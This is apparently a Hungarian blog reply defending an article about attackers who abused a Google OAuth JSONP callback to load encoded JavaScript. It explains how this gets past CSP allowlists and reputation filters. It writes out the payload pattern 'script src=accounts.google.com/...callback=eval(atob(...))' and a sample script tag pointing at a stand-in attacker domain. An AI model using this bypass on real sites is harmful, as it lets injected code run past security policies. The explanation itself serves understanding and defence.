A megbízhatóság fegyvere a Google OAuth vagy még sem?

Kicsit tovább tart megírni a vitatást mint magát a cikket, főleg ha a vitatás nem szakmai hanem sértegetés. ( reagálva arra amiből a kérdésed kiindult) 

Ez egy kiváló és logikus felvetés, és felületesen nézve teljesen jogosnak tűnik. Ha egy támadó már képes kódot injektálni egy weboldal HTML-jébe, miért bonyolítaná túl egy Google-ös végponton keresztüli JSONP hívással, ahelyett, hogy egyszerűen beillesztené a payloadot egy <script> tagbe?

Azonban a helyzet ennél sokkal árnyaltabb, és a támadók pont a modern webes védelmi mechanizmusok kijátszására építettek.

A JSONP callback nem egy felesleges kör volt, hanem a támadás kulcsa, a mesterkulcs, ami több zárat is kinyitott egyszerre.

Nézzük, miért volt ez egy rendkívül ravasz és hatékony lépés:

1. A Tartalombiztonsági Irányelv (Content Security Policy - CSP) kijátszása

Ez a legfontosabb technikai ok. Sok modern weboldal használ CSP-t, hogy korlátozza, milyen forrásokból tölthet be a böngésző szkripteket. Egy tipikus, de gyakran hibásan konfigurált CSP engedélyező listát használ. Például:

Content-Security-Policy: script-src 'self' *.google.com;

Ez az irányelv azt mondja a böngészőnek, hogy csak a saját domainről ('self') és bármely Google aldomainről (*.google.com) tölthet be szkripteket.

Ha a támadó közvetlenül a HTML-be írja a kódot: <script>...rosszindulatú kód...</script> Ezt a fenti CSP blokkolná, mert az inline szkriptek alapértelmezetten tiltva vannak, hacsak nincs 'unsafe-inline' direktíva (ami önmagában is rossz gyakorlat).

Ha a támadó egy saját szerverről hívja a kódot: <script src="https://attacker-domain.com/payload.js"></script> Ezt a fenti CSP blokkolná, mert az attacker-domain.com nincs az engedélyezett források között.

A támadó tényleges módszere: <script src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(...))"></script>
Ezt a fenti CSP átengedi, mert a szkript forrása az accounts.google.com, ami egy megbízhatónak ítélt és engedélyezett domain.
A támadó tehát a Google domainjének reputációját használta pajzsként, hogy a saját kódját egy megbízható csatornán keresztül juttassa be.  

2. Automatikus szkennerek, tűzfalak és DNS-szűrők megtévesztése

Sok vállalati és otthoni biztonsági eszköz (tűzfalak, proxyk, DNS-szolgáltatások) reputáció-alapú szűrést végez.

Egy kérés egy ismeretlen vagy rossz hírű attacker-domain.com felé azonnal gyanút kelt és valószínűleg blokkolásra kerül.

Egy kérés az accounts.google.com felé viszont teljesen legitimnek tűnik. A biztonsági eszközök 99.9%-a ezt a forgalmat jóindulatúnak ítéli és átengedi, mivel a Google egy alapvetően megbízható entitás. A támadó lényegében "átmosta" a rosszindulatú kérését egy megbízható szolgáltatón keresztül.  

3. Az elrejtőzés (obfuszkáció) és a gyanú elkerülése

Egy eval(atob(...)) kifejezés egy callback paraméterben sokkal kevésbé feltűnő egy felületes manuális ellenőrzés során, mint egy nyílt, olvasható rosszindulatú szkript a HTML forrásban. Egy fejlesztő, aki a forráskódot átnézi, láthat egy furcsa API hívást a Google felé, de nem feltétlenül ismeri fel azonnal a benne rejlő veszélyt, ellentétben egy egyértelműen rosszindulatú, inline szkripttel.  

Az a leszólás amiből a kérdésed lett és az ott megfogalmazott felvetés logikus lenne egy olyan környezetben, ahol nincsenek modern védelmi vonalak.

De a valóságban a támadók pontosan ezeknek a védelmi vonalaknak (CSP, reputáció-alapú szűrők) a megkerülésére tervezték a támadást.

A JSONP callback nem egy felesleges kör volt, hanem egy trójai faló. A "ló" maga a megbízható accounts.google.com domainre irányuló kérés volt, amit minden kapuőr (tűzfal, CSP) beengedett.

A "hasában" megbúvó katonák pedig a callback paraméterbe rejtett, kódolt payload volt, ami a falakon belülre jutva már szabadon tudott pusztítani.

Tehát a válaszunk a posztolónak: a cikk nem hülyeség!!! ..de: ha szakmai érvei lennének, bátran vezesse len, szánjon időt a megértésre, magyarázzza el, tegyen szakmai magyarázatot az asztalra! 
Azok után, hogy 2 évtizednél több szakmai tudás húzódik meg mögöttünk a témában, elég lenne "csak" - magyarosz szarkenés helyett- szakmai irányból próbálkozni, mert miközben mi az irodánkban ülünk, addig a fotelhuszár leszólásokból egészen tele lesz a tökünk a magyar-efféle-mentalitásból. 

..és végül, hogy a pont itt legyen arra bizonyos Í-re: 

Pontosan azért nem helyezték el a kódot közvetlenül a HTML-ben, mert azzal azonnal lebuktak volna a legtöbb modern védelmi rendszeren.
Ezzel a módszerrel viszont a támadók a rendszer bizalmát fordították a rendszer ellen, ami egy sokkal kifinomultabb és veszélyesebb stratégia.

Akinek ellenvéleménye van, mert miért ne lehetne, az emberül, szakmai alapon és a személyeskedést mellőzve tegye meg.  

Nem mellékesen meg, akinek van kedve, az egy ilyet hozzon össze ha már "beszólni magyar": https://orcid.org/0000-0003-3207-2087